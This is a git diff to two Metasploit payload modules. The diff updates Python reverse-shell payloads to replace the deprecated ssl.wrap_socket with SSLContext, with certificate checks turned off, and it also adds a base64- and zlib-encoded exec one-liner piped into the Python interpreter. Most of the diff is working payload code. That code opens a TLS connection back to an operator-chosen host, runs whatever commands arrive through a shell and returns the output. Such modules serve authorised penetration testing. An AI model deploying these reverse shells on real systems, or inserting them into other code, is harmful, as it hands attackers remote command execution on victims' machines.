diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index d4fec63fa8f43..75a334d219247 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -4,6 +4,7 @@ ## module MetasploitModule + CachedSize = :dynamic include Msf::Payload::Single @@ -14,17 +15,17 @@ def initialize(info = {}) super( merge_info( info, - 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', - 'Author' => 'RageLtMan ', - 'License' => BSD_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::ReverseTcpSsl, - 'Session' => Msf::Sessions::CommandShell, + 'Author' => 'RageLtMan ', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'cmd', 'RequiredCmd' => 'python', - 'Payload' => { + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } @@ -51,11 +52,20 @@ def generate(_opts = {}) def command_string cmd = '' dead = Rex::Text.rand_text_alpha(2) + # Set up the socket cmd += "import socket,subprocess,os,ssl\n" cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n" - cmd += "s=ssl.wrap_socket(so)\n" + # ssl.wrap_socket() was deprecated in Python 3.7 and removed in Python 3.12. + # Use SSLContext.wrap_socket() instead, which is available from Python 2.7.9+ + # and 3.2+. We fall back through PROTOCOL_TLS_CLIENT (3.6+) -> PROTOCOL_TLS + # (3.2-3.9) -> PROTOCOL_SSLv23 (2.7.9+) to cover all supported versions. + cmd += "ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))\n" + cmd += "ss.check_hostname=False\n" + cmd += "ss.verify_mode=ssl.CERT_NONE\n" + cmd += "s=ss.wrap_socket(so)\n" + # The actual IO cmd += "#{dead}=False\n" cmd += "while not #{dead}:\n" @@ -64,10 +74,16 @@ def command_string cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" + if datastore['PythonPath'].blank? - return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -" + "echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \ + "__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \ + " | $(which python || which python3 || which python2) -" else - return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -" + "echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \ + "__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \ + " | #{datastore['PythonPath']} -" end end + end diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 00e66b7fc4291..27044e337c458 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -4,6 +4,7 @@ ## module MetasploitModule + CachedSize = :dynamic include Msf::Payload::Single @@ -14,16 +15,18 @@ def initialize(info = {}) super( merge_info( info, - 'Name' => 'Command Shell, Reverse TCP SSL (via python)', - 'Description' => 'Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.', - 'Author' => 'RageLtMan ', - 'License' => BSD_LICENSE, - 'Platform' => 'python', - 'Arch' => ARCH_PYTHON, - 'Handler' => Msf::Handler::ReverseTcpSsl, - 'Session' => Msf::Sessions::CommandShell, + 'Name' => 'Command Shell, Reverse TCP SSL (via python)', + 'Description' => 'Creates an interactive shell via Python, uses SSL, encodes with base64 by design.', + 'Author' => [ + 'RageLtMan ' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, 'PayloadType' => 'python', - 'Payload' => { + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } @@ -42,22 +45,32 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - cmd = <<~PYTHON + # ssl.wrap_socket() was deprecated in Python 3.7 and removed in Python 3.12. + # Use SSLContext.wrap_socket() instead. The getattr chain below selects the + # best available protocol constant across all supported Python versions: + # PROTOCOL_TLS_CLIENT - Python 3.6+ (preferred, no deprecation warning) + # PROTOCOL_TLS - Python 3.2-3.9 (deprecated in 3.10, removed in 3.12) + # PROTOCOL_SSLv23 - Python 2.7.9+ (alias for PROTOCOL_TLS in older releases) + # check_hostname and verify_mode must be explicitly set because the payload + # connects to a Metasploit listener with a self-signed certificate. + <<~PYTHON import socket as s import subprocess as r import ssl so=s.socket(s.AF_INET,s.SOCK_STREAM) so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) - so=ssl.wrap_socket(so) + ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23))) + ss.check_hostname=False + ss.verify_mode=ssl.CERT_NONE + so=ss.wrap_socket(so) while True: - d=so.recv(1024) - if len(d)==0: - break - p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) - o=p.stdout.read()+p.stderr.read() - so.sendall(o) + \td=so.recv(1024) + \tif len(d)==0: + \t\tbreak + \tp=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + \to=p.stdout.read()+p.stderr.read() + \tso.sendall(o) PYTHON - - py_create_exec_stub(cmd) end + end